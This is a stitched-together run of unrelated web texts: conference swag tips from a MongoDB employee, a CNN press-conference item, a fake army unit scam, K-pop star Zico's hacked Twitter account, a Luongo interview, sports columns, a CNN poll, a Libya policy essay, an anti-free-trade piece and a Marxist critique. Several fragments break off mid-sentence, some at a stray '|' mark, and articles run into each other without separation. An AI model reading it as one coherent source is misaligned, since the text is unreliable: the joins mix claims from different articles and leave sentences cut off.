Swag and Vendor Hall Booths Swag is a big deal at re:Invent so when you’re packing, you may want to make sure you leave a little room to take some stuff back with. There’s everything from t-shirts and battery chargers all the way to the socks that MongoDB will be handing out at our booth. Remember while collecting swag to ask about raffles or contests that the vendor may have going on over the course of re:Invent; getting follow-up emails are worth if you win a nice pair of noise cancelling headphones. Pretty much all vendors have target numbers to hit for badge scans. If someone wants to scan your badge, let them and they will happily let you take swag almost every time.
In the past I’ve got some really neat stuff that I’ve kept to this day. Splunk always has high quality shirts with funny slogans like “Watching your tail -f” or “Finding your faults just like Mom.” Then there’s the practical swag; this is the stuff to keep an eye open for. Ever realize you are several hundred or thousand miles away from home and a Tide stick or some hand sanitizer would be useful? You would be shocked how many booths know that you’re not going to have these items on hand so it pays to do a lap around the expo hall. You’re also likely to find tons of vendors giving out phone chargers, fidget spinners, stress balls, hats with gimmicky sayings on them or even foam sumo wrestlers like those from SumoLogic.
Vendor hall booths are not just for swag! They’re also an opportunity to check out demos and talk to the people manning the booths. You may learn a new way to use a product or find out about updates for existing products you’re already using. This time can be extremely valuable for the both us. If you stop at our booth, you get a chance to ask questions and I have an opportunity to make you part of the MongoDB Community in our Advocate Hub. I find that spending time to talk with the booth staff for companies I’m interested in is really one of the more valuable parts of the vendor hall.
Networking
The hallways of the venue of re:Invent is where some attendees find the most value. Aside from your chances to network while eating, just walking from talk to |
by pursuing easy questions at his latest press event.
As CNN New Day addressed Trump’s conference from Poland, they noted how the president slid around questions about Russia as he attacked the “fake news” media once again. Chris Cuomo asked Acosta for his take on the presser, and whether he was surprised that Trump chose to invoke “petty political plays” on the world stage.
Acosta grumbled about how Trump sought questions from David Martosko, a “friendly” Daily Mail reporter who gave the president an easy set-up to go after CNN.
“For the president to go off on CNN as fake news, to me, made this spectacle feel like a ‘fake news conference,'” said Acosta. “This was not an attempt by the president to seek out a question from somebody who was going to challenge him on the issues.”
Acosta went on to say that it was “unfortunate” how conservative news media were being “used” by Trump to attack his enemies among the press. Acosta also pushed back on Trump blaming Russian election interference on Barack Obama when the president doesn’t plan to challenge Vladimir Putin about the subject in their upcoming meeting.
Watch above, via CNN.
[Image via screengrab]
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>> Follow Ken Meyer (@KenMeyer91) on Twitter
Have a tip we should know? tips@mediaite.comYupeng Deng with the troops in his 'Special Forces Reserve Unit'
A man has been arrested and accused of running a fake division of the US army in California, recruiting more than 100 Chinese immigrants in an elaborate scam.
Prosecutors say Yupeng Deng, 51, charged the men up to $450 (£275) each to join his "Special Forces Reserve Unit", telling them it would help them gain US citizenship.
Deng provided his recruits with phoney uniforms, ID cards, documents and gave himself the title of "Supreme Commander".
They were also allegedly told they could increase their rank in the unit by making cash donations, and were taken on a tour of a military museum in San Diego.
Deng, who also goes by the name David, is charged with 13 counts of obtaining money, labour or property under…Block B‘s Zico is tired of his Twitter account getting hacked over and over again.
The artist expressed his frustration by leaving a short but firm message to the wrongdoer(s) on December 6. He wrote on his Twitter, “Ah, seriously, please stop the hacking.”
Regarding the issue, Zico’s agency stated that the habitual hacking began around a month ago. “As far as we are aware, the hacking has been going on since the release of ‘Boys and Girls.’ Although the hackers have not left any messages on his Twitter so far, his password is constantly being changed.”
“Zico has been stressed over his password getting changed and thus being unable to log in to his account. Also, his private tweets can be made public through hacking, which makes him even more concerned about the situation.”
The agency representative compared hacking to burglary, and finally said, “We will shortly request the Korean National Police Agency Cyber Bureau to launch an investigation into this.”
Meanwhile, Zico is set to drop his first solo mini album “Gallery” on December 7.
Source (1)Jean-Francois Chaumont of Radio-Canada.ca caught up with Roberto Luongo at the goaltender’s celebrity golf-tournament in Anjou recently. The original French version of the article can be found here.
The piece contains some interesting insights into how the goaltender is coping with the Canucks close-but-no-cigar run to the Stanley Cup Finals this summer. Luongo japes that – because he lives in Florida in the summer – he’s somewhat immune to much of the flack he’s been taking in the Canadian Press. The most interesting part to me, however, is his admission that he got "caught up in the moment" after game five, and that he regrets criticizing Tim Thomas’ goaltending style on Maxim Lapierre’s game-winner in the fifth game.
Here’s a full translation of Chaumont’s piece (translation by Stuart St-Amant):
Roberto Luongo found himself one win away from victory: to raise the Stanley Cup. Though finally the trophy went to Boston and Luongo suffered the fire of criticism.
Luongo was at the third edition of his annual golf tournament in Anjou, nearly two months to the day when the Canucks were eliminated in the seventh game of the finals against the Bruins.
Far from his mask and pads, the Goalie from St. Leonard returned to his own defeat.
"I thought of the finals earlier in the summer, but now I think it’s a part of the past." said Luongo. "I have good memories of last year, it was a very good season. But it sure hurts a little. I especially remember the last game in Vancouver. It’s hard to relive the final seconds of the seventh game in the Stanley Cup finals."
"Fortunately, I spend my summers in Florida and it’s pretty quiet there," said the 32 year old goaltender in consolation.
Luongo’s first final has been no fairy tale. Twice, he passed the torch to Cory Schneider and awarded 15 goals in three starts to Boston.
Again, his critics still remind him that he hasn’t won the big game. To this, Luongo remains calm.
"I’ve won a few things since I’ve started (gold medal at the Olympics in 2010), but I haven’t held the Stanley Cup. I know many goaltenders who also haven’t won the Cup. It’s a difficult feat to accomplish. I still haven’t got this trophy, but I don’t want it just to prove things to people."
Misplaced remarks
After the fifth game of the finals in Vancouver, Luongo made the faux pas of criticizing Tim Thomas. He said that his rival was too aggressive coming out of his net.
Maxim Lapierre scored the only goal in a 1-0 win in the fifth game, jumping on an off target return shot.
Does Luongo regret the statement?
"Yeah, for sure. If I could do it again, I wouldn’t say it. I didn’t want to create the buzz that it did. After the fifth game, I had never been so emotional and I got carried away."
Too good a guy
At the golf tournament, Gilles Lupien would like more support for his client.
"Roberto is too good a guy, a really good guy." said Lupien, himself a former defenseman for the Montreal Canadiens. "Roberto always says it’s the team that wins, it’s never him. But every time the team loses, it’s always him. It’s a bit of a captain complex."
Lupien dished out a few old memories to explain.
"I had Serge Savard and Yvan Cournoyer as captain, but at times guys like Larry Robinson, Bob Gainey and Ken Dryden would stand up in the locker room. I don’t know if I’m throwing a rock in the wrong place, but there was a lack of leadership within the organization and with some players. I’m a little more shocked than him. "
Alexandre Burrows meanwhile, acknowledged that the blame didn’t fall on his teammate’s shoulders.
"We know that Roberto Luongo is one of the best goalkeepers in the league. You win and lose as a team, eh? We were that close to winning the Stanley Cup. He has done good things Roberto, and we support him to the fullest. But it is mostly the media that are tough on him, for no reason really."
Luongo now has another 11 seasons with the Canucks to fulfill his dream and at the same time, to silence his critics…This project, which I do in my spare time, all started when I was walking around Petworth, DC with friends and thought it would be interesting to see a book documenting every alleyway in the city. So, with the assistance of several friends who volunteer to help, we canvas certain parts of the city and photograph the alleyways we come across. I ‘square’ off a part of the city, generally a 14 x 14 street blocks. With the help of the DC Zoning Map, we mark every alleyway we photograph on the map and the corresponding photograph number, so that I know the location of every photograph.
I plan on posting a small sample of the photographs from the excursions every once in a while. One day I would hope to have them all published in volumes, organized by neighborhood.8 years ago
(CNN) - Americans are divided over whether President Barack Obama or his predecessor has performed better in the White House, according to a new national poll.
And a CNN/Opinion Research Corporation survey released Friday also indicates in the battle for Congress, Republicans hold large advantages over the Democrats among independents, men and blue-collar whites. The poll also indicates that Republicans are much more enthusiastic than Democrats to vote.
By 47 to 45 percent, Americans say Obama is a better president than George W. Bush. But that two point margin is down from a 23 point advantage one year ago.
"Democrats may want to think twice about bringing up former President George W. Bush's name while campaigning this year," says CNN Polling Director Keating Holland.
"But that doesn't mean that Americans regret their decision to put Obama in the White House in 2008. By a 50 to 42 percent margin, the public says that Obama has done a better job than Sen. John McCain would have done if he had won. And by a 10-point margin, Americans also say that Joe Biden has done a better job than Sarah Palin would have done as vice president," adds Holland.
According to the poll, 45 percent of the public approves of the job Obama's doing as president, up three points from late last month, with 52 percent disapproving. Fifty-nine percent of independents disapprove of how the Obama's handling his duties, with 37 percent giving him a thumbs up.
In the fight for control of Congress, 52 percent of likely voters say they would vote for the generic Republican candidate in their district if the election were held today, with 45 percent saying they would back the Democrat. The Republican's seven point margin is down from a nine point advantage late last month.
According to the poll, independents say they would vote for the Republican candidate over the Democrat by a two to one margin.
"Blue-collar whites are also a particular problem for Democrats. Among white voters who describe their family as "white collar," the two parties are essentially tied. But more than seven out of ten whites who describe themselves as "blue collar" are planning to vote Republican in November," adds Holland.
The poll indicates that opinions on the economy may have a lot to do with that. Only 17 percent say the economy is starting to recover, and nearly four in ten say that the country is still in a downturn and conditions are getting worse.
The survey also suggests a strong gender gap.
"Democrats appear to be making steady gains among women and now get a majority of their vote, but the gender gap persists and more than six in ten men say they plan to vote Republican this year," says Holland.
According to the poll, another gap also exists: The enthusiasm gap. Most Republicans say they are extremely or very enthusiastic about voting this year. But only a third of Democrats feel the same way.
"That's the principle reason why the "generic ballot" question is tied among all registered voters while the likely voter numbers show an advantage for the Republicans," adds Holland. "There are plenty of people who support the Democratic candidate, but many of them are probably not going to actually cast a ballot. In fact, if you look at "unlikely voters" - people who are registered to vote but unlikely to cast a ballot - the Democrats have a six-point edge on the generic ballot question."
The CNN/Opinion Research Corporation national poll was conducted October 5-7, with 1,008 adult Americans, including 938 registered voters and 504 likely voters, questioned by telephone. The survey's overall sampling error is plus or minus percentage points, with a sampling error of plus or minus 4.5 percentage points for likely voters.
–CNN Deputy Political Director Paul Steinhauser contributed to this story.video-container { position: relative; padding-bottom: 56.25%; padding-top: 30px; height: 0; overflow: hidden; }.video-container iframe,.video-container object,.video-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } As Ryan Kelly begins his final season at Alabama, though, he is thinking about meeting the expectations of being a Crimson Tide football player.
Following Bama’s first day of fall camp Friday, Kelly, a 6-5, 300-pound fifth-year senior from West Chester, Ohio, admitted that he occasionally looks at the ring he received for winning the SEC Championship last year “and it feels like we didn’t win anything.” The reason, of course, is that Alabama failed to finish for the second year in a row.
“From 2009 to 2012 we had three out of four national championships and the last two years we haven’t finished,” he said.
Kelly, who was redshirted during Bama’s 2011 national championship season and the back-up to Barrett Jones in the 2012 title season, will be starting for the third season this year.
He explained the expectations at Alabama. “You either live up to it, or you just crumble underneath it,” he said. “We’ve been able to play to a standard. We set the bar for ourselves; that being said, the bar was set before any of us even got here.
“From 2009 to 2012 we had three out of four national championships. The last two years we haven’t finished.”
Even though Alabama won the SEC Championship last year, with a 12-2 record and a loss in the first round of the College Football Playoff, Kelly said the feeling is that last year’s team didn’t win anything.
The national championship goal is stressed even before a player arrives in Tuscaloosa, he said. It begins when the player is being recruited. “Every guy on the roster is here because he wants to be a national champion,” Kelly said. “The ultimate goal never changes; win a national championship.”
As the center, Kelly has a special relationship with the quarterback. They are the two men who handle the football on every play and the two men responsible for getting the offense in the right formation and setting blocking schemes.
Last year Blake Sims came from underdog role to record-setting Bama quarterback and Most Valuable Player in the SEC Championship Game. “I guarantee there were more doubters than believers in what he was capable of doing,” Kelly said of Sims. “A guy like that is always going to be remembered.”
Kelly couldn’t say for sure when he realized that Sims would be the 2014 quarterback. Alabama Coach Nick Saban said Sims didn’t win the job against Jacob Coker until the final scrimmage before the start of the season.
“I remember Blake and Jake battling really hard throughout camp,” Kelly said. “I think you’re going to see that this year. There’re are a lot of guys in our quarterback pool who are just very qualified, great teammates, and guys that can definitely help us improve and win us a lot of football games.
“Right now, I don’t know (who will win the job). It’s kind of the same as last year. Just be patient.”
He said he sees quarterbacks gaining confidence the more practice repetitions they get. “That’s Coach Saban’s philosophy,” Kelly said. “I think all five of those guys (senior Jacob Coker, junior Alec Morris, sophomore Cooper Bateman, redshirt freshman David Cornwell, and true freshman Blake Barnett) have done that. I couldn’t say enough about those guys, because in a position where only one of them can play, it could very easily be a selfish move by one of them. You don’t see that with these guys. They’re just competitors. They’re all for the team, from top to bottom, from Jake the oldest to Blake the youngest. They’re very helpful to each other and willing to do anything for the team.”
Kelly thinks about his senior season and having a number of teammates “who haven’t even won a bowl game.” He said he sees the team getting back to made national championship teams.
“I can see the change in the coaching staff and in the players, too, the attitude we bring every day.
“This is a special place.”
Made all the more so by special players like Ryan Kelly.THE United States has confirmed it will expand its presence in Australia through combined military exercises and increased American access to ports, bases and test ranges in a move a leading analyst says is designed to counter the rise of China.
Defence Minister Stephen Smith said tomorrow's talks with US Secretary of State Hillary Clinton and Defence Secretary Robert Gates would be used as a chance to expand the US presence in Australia.
When Mrs Clinton arrived in Melbourne at 1.30pm yesterday, at least 14 vehicles - including an armoured van - were waiting to transport an entourage of press, diplomatic and security staff. She eventually jogged down the steps from her plane to be greeted with a kiss from Foreign Affairs Minister Kevin Rudd.
Shortly after she was ferried away in a black BMW, a jovial Mr Rudd told reporters Mrs Clinton was a welcome guest for the Australia-United States Ministerial Consultations, known as AUSMIN.Marshawn Lynch took a little longer on his way to becoming every other running back, but this weekend, he finally got there. Friday afternoon, Lynch stated his intention to hold out from training camp by calling a former teammate turned TV analyst and having him announce it on-air. Like so many other things with Lynch — his candy, his fury, and being all about that action — he did it his own way. Over the past few years, if Lynch has been anything, he’s been different.
The thing is, no matter how unique Lynch is as a player and personality, he, like most running backs, is replaceable. At least that seems to be the theory driving the reaction.
On paper, there are plenty of reasons why that might be true. Even last year, people figured Lynch was on borrowed time in Seattle, because of the team’s balance sheet. His cap figure in 2015 will be $9 million, the third-highest total among running backs, and Seattle would save $7.5 million by cutting him loose. He’ll be 29 by then, with a lot of mileage, and we all know the rules. Giving money to running backs pushing 30 doesn’t turn out very well. Now that Lynch is asking for even more (or really, just some security beyond next season), it feels like the consensus is that he’s even more expendable.
Click here for more from our 2014 NFL preview.
Running backs do have diminished value, and Lynch is getting older. What’s hard to understand is how Seattle’s success has somehow diminished Lynch’s value, despite his role in it. One of the main points being used in the argument against paying Lynch is that the Seahawks are a team fresh off a championship — a championship won with defense. That’s true for the most part. The Seahawks trotted out one of the best defenses ever last year. That defense dominated in the Super Bowl when Lynch didn’t. He had only 39 yards on his 15 carries, his worst game of the season. But here’s the thing: Seattle had to win two playoff games to get to the Super Bowl, and there Lynch was fantastic, with a combined 249 rushing yards on 50 carries.
It’s the same way he played all year. His 1,257 rushing yards aren’t mind-blowing, but the way he got them is. According to Football Outsiders, Lynch led the league in broken tackles last year with 59, eight more than anyone else. His broken-tackle rate (17.5 percent of his touches) blew away every other back in the league who got significant work. Pro Football Focus’s elusive rating had only Adrian Peterson as a harder running back to take down.
And Lynch did it all with an offensive line that was dinged up and often ineffective. Pro Bowl left tackle Russell Okung missed a chunk of the season with an ankle injury. Pro Bowl center Max Unger had a pedestrian year by his standards. The Seahawks aren’t some run-game machine with parts that can simply be switched in and out. The only thing you could call a machine is Lynch.
When Jamaal Charles announced his own holdout last week, some supported his claim by pointing out that he’d accounted for more than 36 percent of his team’s total offense. Lynch may not be quite there, but he did manage 29 percent, which bested Peterson’s 26 percent.
There’s no denying that Charles had a much better case for wanting to be paid. He was due just $3.65 million this year, and that doesn’t reflect just how great he’s been the past two seasons. He also has about 700 fewer carries than Lynch (two seasons’ worth), even though he’s only eight months younger.
What I find most interesting about all of this, though, isn’t whether the Seahawks should actually pay Lynch — the history of running-back holdouts is littered with mistakes, and there’s a good chance a hefty extension for Lynch would be another. But that doesn’t mean he’s disposable. That seems to be how the Seahawks and plenty of others are treating him.
Among the first reactions to the Lynch news were comments about the skyrocketing fantasy value of Christine Michael. Taken in the second round of last year’s draft, there has been talk that Michael could steal Lynch’s gig for the better part of the year. You’d think that based on what Lynch did last year, people might think twice about how easily a running back we’ve never seen could step in and do his job, but I guess not.
Seattle’s offensive-line situation hasn’t dramatically improved since last year either. Okung is back healthy, and there’s a good chance Unger will be better this year without some of the nagging injuries that slowed him down. But for the most part, the group is still the Seahawks’ biggest question mark. James Carpenter, the former first-round pick who Seattle has seemingly avoided playing whenever possible, is slotted to play left guard while a pair of seventh-round picks (J.R. Sweezy and Michael Bowie) are penciled in on the right side. The Seahawks drafted tackle Justin Britt in the second round, but there’s no telling if he’ll be ready to step in as a rookie.
What the Seahawks have to be hoping is that every non–running game part of their roster will be better than it was a year ago. With the passing game, that seems reasonable. Percy Harvin should be around for at least a little while, the Seahawks drafted two receivers in the first four rounds, and Russell Wilson will probably be asked to take on more responsibility.
It’s the defense that might be getting a little too much credit. Yes, the Seahawks re-upped both Earl Thomas and Richard Sherman this offseason, and there’s no reason to think they won’t have the league’s best secondary yet again. Elsewhere, though, they’ve lost at least some of what made them such a terror a year ago. Seattle’s front was defined by its flexibility, flexibility it has lost by shelling out big money to its stars.
Red Bryant and Chris Clemons weren’t the most important players on Seattle’s defense, but they added versatility the Seahawks will miss. Seattle’s greatest advantage last year was its depth. With the rotating crop of defensive linemen, Michael Bennett could line up at defensive tackle on passing downs and gain a subtle advantage he wouldn’t have outside. Those subtle advantages have vanished in several spots.
That’s where the gap in the case to jettison Lynch exists. The thinking that surrounds most great teams is that they’ll simply continue to be great. Often, the issue is that what made those teams great is hard to sustain. One of the things that made the Seahawks great was Marshawn Lynch. That seems worth remembering.The NBA plans to donate proceeds from sales of Jason Collins jerseys to the Matthew Shepard Foundation and the Gay, Lesbian & Straight Education Network.
Collins became the league’s first openly gay player when he signed with the Brooklyn Nets last Sunday, and his No98 jersey has been the top seller on the league’s website. He chose the number in tribute to Shepard, who was killed in a gay hate crime in Wyoming in 1998. Collins met Shepard’s parents on Thursday, when the Nets played in Denver.
The league said on Friday that donations would total no less than $100,000, and it will also auction off Collins’s autographed, game-worn jerseys to benefit the same organisations.
Collins says he is thrilled to help the organisations that “work tirelessly to ensure LGBT youth get the resources and assistance they need to be successful in life”.It’s that time of the year again.
If you’ve been following my work over the past two years, you’ll know that early May is when the true soccer hipster in me comes out.
Right when the Davis High girls make their annual playoff run and Sacramento Republic FC just starts to get in the thick of things, I clog our great paper with stories from an obscure soccer tournament that happens to be my favorite sporting event of all.
And now that The Enterprise made the mistake of giving me the platform of a column, this might not be the last time I use this space to write about the Lamar Hunt U.S. Open Cup.
On Wednesday, when most local sports fans’ eyes will be glued to game five of Warriors vs. Blazers, I’ll be posted up in the Internet-free press box at Capital Christian High School, watching a bunch of players you’ve never heard of (except for maybe UC Davis alumnus Matt Wiesenfarth) as the first round of the single-elimination tournament kicks off when the fourth-division Sacramento Gold host the Burlingame Dragons.
The Open Cup doesn’t discriminate among leagues in choosing its participants — Adam Lewin’s Davis Legacy men’s side was just one game away from qualifying for this year’s edition of the tournament.
Featuring 91 teams from across the country, the tournament kicks off its 103rd edition Wednesday with 23 fixtures.
To put its age in perspective, the Open Cup celebrated its 25th anniversary the same year March Madness first tipped off.
“What makes the US Open Cup so great is that it is completely unique within American sports,” said Josh Hakala, editor-in-chief for the website TheCup.us, which comprehensively covers the tournament. “In a country that worships March Madness and loves underdog stories, the US Open Cup is the ultimate underdog story, where a weekend beer league team could end up on the same field as a top-level professional soccer team.
“Where else can you find that?”
The tournament is typically dominated by MLS teams, who don’t enter the competition until the fourth of eight rounds, but there’s always room to dream of a run like the then-second division Rochester Rhinos had in 1999, where they beat the Colorado Rapids to claim the title.
Just making a run of one or two games can prove inspiring for a small club, as with amateur side Cal FC in 2012, when it advanced all the way to the fourth round, even taking down the Portland Timbers of MLS along the way.
Some of the players from that hastily-put-together squad were immediately snapped up by professional clubs, including current Republic midfielder Danny Barrera.
Says Burlingame Dragons president Jordan Gardner, a 2002 Davis High graduate: “The US Open Cup gives smaller clubs like the Dragons an opportunity to prove ourselves against top competition. The prospect of playing USL or MLS teams gives the guys extra motivation and is exciting for our organization as we continue to grow.”
Last year, Gardner served as the general manager for San Francisco City Football Club as it was knocked out in the preliminary round by, ironically, a Barrera-led Cal FC side.
Should the fourth-division SF City FC win its game Wednesday, it will take on the Republic in one week’s time, where ex-Sacramento striker Adnan Gabeljic will have a chance to score against his former team after quitting professional soccer to focus on an engineering career in the Bay Area.
There will be no shortage of interwoven story lines as the grassroots communities meet in the earlier rounds, but I’m sure you’re now wondering what it’s like to actually win the tournament.
For that, we go to two-time champion and three-time finalist Jalil Anibaba, a 2007 DHS grad.
“The Open Cup is yet another opportunity to bring hardware home,” Anibaba said. “That in and of itself is enough to motivate all the teams around the league, but the most special part about the tournament is that the teams from all over the nation can qualify and take part.”
“Every Open Cup match is played with a ‘win or die’ sense of urgency, which makes advancing through each stage of the tournament that much more intense,” Anibaba added. “The history that goes along with the tournament also makes it special.
“With that said, if you’re fortunate enough to win it all, it’s something that’s never forgotten by the fans or players.”
Just as I’ll never forget the look of pure joy when he hoisted the Cup after his Sounders won the title two Septembers ago.
— Reach Evan Ream at [email protected] or follow him on Twitter at @EvanReam“There is no deal without Haftar,” European and Arab foreign ministers have been saying since last spring.
The anti-Islamist, Egypt-backed field marshall controls large parts of the country and has refused to cooperate with the political process, effectively blocking it.
Western policy makers should not fall under the same delusion of Haftar’s strength that he himself has
And so, for more than a year, there have been attempts to include the general in some kind of power structure. But none of these seem to stand much chance of success anytime soon.
A political process including Haftar can be achieved in the long term, but Libya needs a plan right now to make things work and avoid any further escalation.
The challenge is achieving this stabilisation - meaning a decent life for most Libyans and a relative absence of conflict – without fully pacifying Haftar whose demands are incompatible with those of most other political and military actors.
To this end, countries that are interested in helping Libya de-escalate as soon as possible should seize several political and security opportunities available right now.
Political deadlock and potential escalation
This doesn’t mean Libya doesn’t need international negotiations. The main institutions created by the UN-backed Libyan Political Agreement, the Presidency Council (PC) and the Government of National Accord, are either split and deadlocked or lack broad legitimacy.
The delivery of public services and the cash crisis have worsened while the country is still divided between three rival governments.
Alongside Fayez al-Sarraj's Presidency Council, there is the “Interim Government” of Abdullah Thinni close to the presidency of the House of Representatives (and to Haftar) in the east. And there is the rising National Salvation Government led by Khalifa Ghwell which represents the radical anti-Haftar elements in Tripoli, close to the Mufti Sadiq al-Gharyani.
None of them enjoy particular popularity.
Meanwhile, the situation on the ground is marred by dangers of escalation between the two strongest armed groups, Haftar’s Libyan National Army and the militias from Misrata.
In Tripoli, there is also increasing anarchy in areas where Ghwell’s group coexists with the newly formed National Guard and a militia syndicate that nominally supports Sarraj.
Fighting between the groups in the capital has become more frequent in recent months while Haftar and the Misratans have clashed several times since December along a loose frontline that stretches from Sebha in the southwest to Jufra and Hun south of Sirte. These clashes are the first in more than two years and could easily spin out of control.
Trying to get Haftar into the agreement
To end this dangerous stalemate, the international community is trying to arrange a meeting between Sarraj and Haftar in order to reach an agreement that would bring the latter into the national unity government.
During all of 2016, a group of US, French, British, Egyptian, Emirati and Italian officials met regularly to come up with a solution to no avail.
Haftar is avoiding compromise because he thinks that the military under his command must be 'independent' from civilian rule
In November, Haftar rejected a generous American proposal that would have made him Libya’s top security official.
Last week, the Egyptians failed to convince Haftar to meet with Sarraj in Cairo and it is unlikely that the upcoming summit between Algerian, Tunisian and Egyptian presidents will bring any breakthrough.
One problem: Haftar has made it known both publicly and privately that he does not think this is the time for a deal with Sarraj.
This is not just because he thinks the prime minister is extremely weak, but also because he thinks the priority now should be to fight what he calls “terrorists”, a broad group that, for Haftar, includes the Muslim Brotherhood - and anything else that vaguely smells like Islamism to him.
Most importantly, Haftar is avoiding compromise because he thinks that the military – which he clearly thinks he should command – must be “independent” from civilian oversight, not subject to it.
But the international plans put on the table so far and the proposal that Sarraj brought to Cairo all aim to include Haftar in a system where civilians would have oversight.
This is a fact unlikely to change: western Libya, let alone other forces, would not accept a capitulation in which Haftar is essentially left in charge of the country.
Is Haftar really a strongman?
Haftar thinks it is only a matter of time before he will replicate in Tripoli what he did in the Oil Crescent in September: an almost bloodless takeover based on tribal alliances. He believes that he has the Russians and the Trump administration on his side.
But Haftar is miscalculating the strength of both his domestic forces and his international support. Domestically, his real military forces are almost exclusively around Benghazi in the east and with a few more in the south.
Haftar is miscalculating the strength of both his domestic forces and his international support
His attempts to involve Zintan in the takeover of Tripoli have met with rejection from Zintan’s military council in December. In the southwest, he faces hostility or diffidence from a vast spectrum of forces including the Tuaregs and parts of the Tebus and Arab tribes.
So, at the moment, Haftar has no clear path to victory in western Libya, nor in the south.
Internationally, the Russians are more interested in brokering a political deal and demonstrating that they have succeeded where the West has failed, as their propaganda says.
As for Trump, in private conversations with those close to Haftar, members of his administration have made it known that they need a civilian interlocutor in eastern Libya and it is unclear whether Libya will be a White House priority at all.
The way forward
Western policy makers should not fall under the same delusion of Haftar’s strength that he himself has: if they decide to back a strongman, they should first check that he’s really as strong as he says.
Europeans should also carefully assess if Sarraj is the best interlocutor for this dialogue. Could it be carried out instead in a broader set-up that includes leaders of major armed groups? Even then, building a functioning security track which gets Haftar’s buy-in will be a daunting task.
International powers have to look for a more immediate plan to make sure Libya's anarchy and humanitarian crisis doesn't deepen
Ultimately, everyone has been saying that “there is no deal in Libya without Haftar”, but it is increasingly true that it is hard to have a deal under Haftar’s conditions.
While a political deal is sorted in the longer term, international powers have to look for a more immediate plan to make sure Libya's anarchy and humanitarian crisis doesn't deepen.
With this in mind, Europeans should coordinate more closely with Algeria and Tunisia, the two regional powers most interested in avoiding escalation in Libya, while clarifying with - but not antagonising - Egypt about whether it will forgo its red lines about the inclusion of Islamists to broker a deal.
Russia’s willingness to work on Libya’s stability should be taken at face value, but any deviation from that should be immediately pushed back, specifically by enforcing, not relaxing, the arms embargo.
Finally, the best option for European is to treat the US and its policy with benign neglect while waiting for less ideological components of Trump’s administration to get the upper hand.
Positive movements
The strategy of this international coalition should focus on supporting two positive movements among different Libyan actors.
First, there is slow but increasing cooperation between anti-Islamist and Islamist politicians. They could be encouraged to form a government in charge of running the country while the political process is deadlocked.
This breakthrough could be developed further to deal with problems that cannot wait on the Haftar question to be solved, like the liquidity crisis, the collapse of public services, needed support for municipalities and the reconstruction of Sirte and Benghazi.
Secondly, while a deal between Misrata and Haftar is rather complicated and realistically can only end with de-escalation at best, internationals should support the rapprochement between Zintan and Misrata.
Going on for several months now, this reconciliation should be expanded to armed groups from southwest Libya to broaden existing local ceasefires. Further, internationals should start working on building local police forces and the reconversion of existing armed groups.
This is of course not the ultimate solution to all of Libya’s woes but it would be a good strategy to focus on what works and not on what sounds grandiose – or strong.
- Mattia Toaldo is Senior Policy Fellow at the European Council on Foreign Relations.
The views expressed in this article belong to the author and do not necessarily reflect the editorial policy of Middle East Eye.
Photo: Haftar leaves the main building of Russia's Foreign Ministry after a meeting with Russian Minister of Foreign Affairs in Moscow on 29 November 2016 (AFP)President Obama is currently negotiating two massive new free trade agreements that, if enacted, are likely to result in increased outsourcing and growing job losses, especially in the manufacturing sector. He has asked Congress for “Fast Track” authority, which would allow him to submit trade agreements to Congress without giving members of Congress the opportunity to amend the deal. Experience has shown that these trade deals have resulted in massive job losses for American workers, as shown in the infographic below. Fast track trade legislation will speed the ratification of more job-destroying trade deals.
Free trade agreements have
hurt american workers Claims that trade deals increase exports and create jobs are based on flawed trade models, and on distorted and one-sided interpretations of the findings of those models. The U.S.-Korea Free Trade Agreement (KORUS) 70,000 jobs promised Click to see what happened ______ jobs delivered 60,000 jobs lost North American Free Trade Agreement (NAFTA) 200,000 jobs promised Click to see what happened ______ jobs delivered 682,900 jobs lost
As the infographic shows, the North American Free Trade Agreement (NAFTA) resulted in growing U.S.-Mexico trade deficits that caused nearly 700 |
the U.S. trade deficit that finances the government’s budget deficit and goes mostly for the U.S. government’s non-productive consumption—such as for war. This capital largely takes the form of U.S. government securities that are held by the central banks of China, Japan and a few other countries. Actually, it is what Marx called fictitious capital. It represents not capital at all but merely claims on tax revenue that are capitalized at the prevailing rate of interest. If the fictitious capital represented by government bonds is excluded, the U.S. remains very much a capital exporter.
Also overlooked by Heinrich is the fact that every time the U.S. allows the dollar price of gold to rise—allows inflation to occur—it in effect repudiates part of its debt. When this happens, the U.S. ends up exploiting the nations that it “imports” capital from. This is quite the opposite of what Lenin meant by export of capital!
“Finally,” Heinrich writes, “the characterization of imperialism as ‘parasitic’ is problematic (5) not only due to the moralistic undertone, but also it is not readily apparent why the exploitation of a foreign working class should be worse than the exploitation of a domestic working class.” (p. 215) After monopoly, and closely linked to monopoly, the main feature of imperialism, according to Lenin, is parasitism. One example is today’s stock market culture. Another is the decay of industrial production in the imperialist countries—though this decay is less advanced in Germany than in Britain and the U.S. So perhaps Heinrich hasn’t noticed it.
Heinrich on the national question
As for why “the exploitation of a foreign working class should be worse than the exploitation of a domestic working class,” we need only remind Heinrich, a German, of the lessons of the not-so-distant history of his own country—the Third Reich—not to mention pre-Nazi Germany’s genocidal crimes against the peoples of Africa. Frankly, considering Germany’s history, a German Marxist expressing such views is extremely disturbing.
What Heinrich is overlooking is that capitalism develops the contradiction not only between exploiting and exploited classes but between exploiting and exploited nations. This is a point that, to their credit, the Monthly Review school has always emphasized. We who live in the imperialist countries, whether in the United States, Germany, Japan, France, Australia and so forth, must be particularly on guard against the indifference to the national question that Heinrich exhibits here.
The reasons that Marxists since the days of Marx and Engels have supported the right of all nations to self-determination is that until national oppression is ended, there is no way that the workers of the exploited nations will understand that it is the capitalist class rather than simply its various agencies—the Nazis in the days of the Third Reich, the British, French, Yankees, Zionists and so on—that is their ultimate enemy. That is why the struggle against national oppression is such a crucial part of the “battle for democracy.” If we leave out the struggle against national oppression and all racism, the whole struggle against capitalist exploitation is reduced to so many empty words.
Is capital a barrier to production?
“In the history of the workers’ movement,” Heinrich writes, “the notion that economic crises would ultimately lead to the collapse of capitalism, that capitalism was marching towards its ‘final crisis’ was widespread.” (p. 175) This sentence actually contains two quite different ideas. One is the correct idea that crises point toward the collapse of capitalism, or as I prefer to put it, to the transformation to a higher mode of production, because crises accelerate the centralization of capital. Successive crises move capitalism further way from “healthy” free competition toward a highly centralized socialized system of production that is ripe for being taken over by the associated producers. After each successive crisis, capitalism becomes ever more the “Empire of the mega-corporations,” as free software movement leader Richard Stallman—who is himself not a Marxist—calls it.
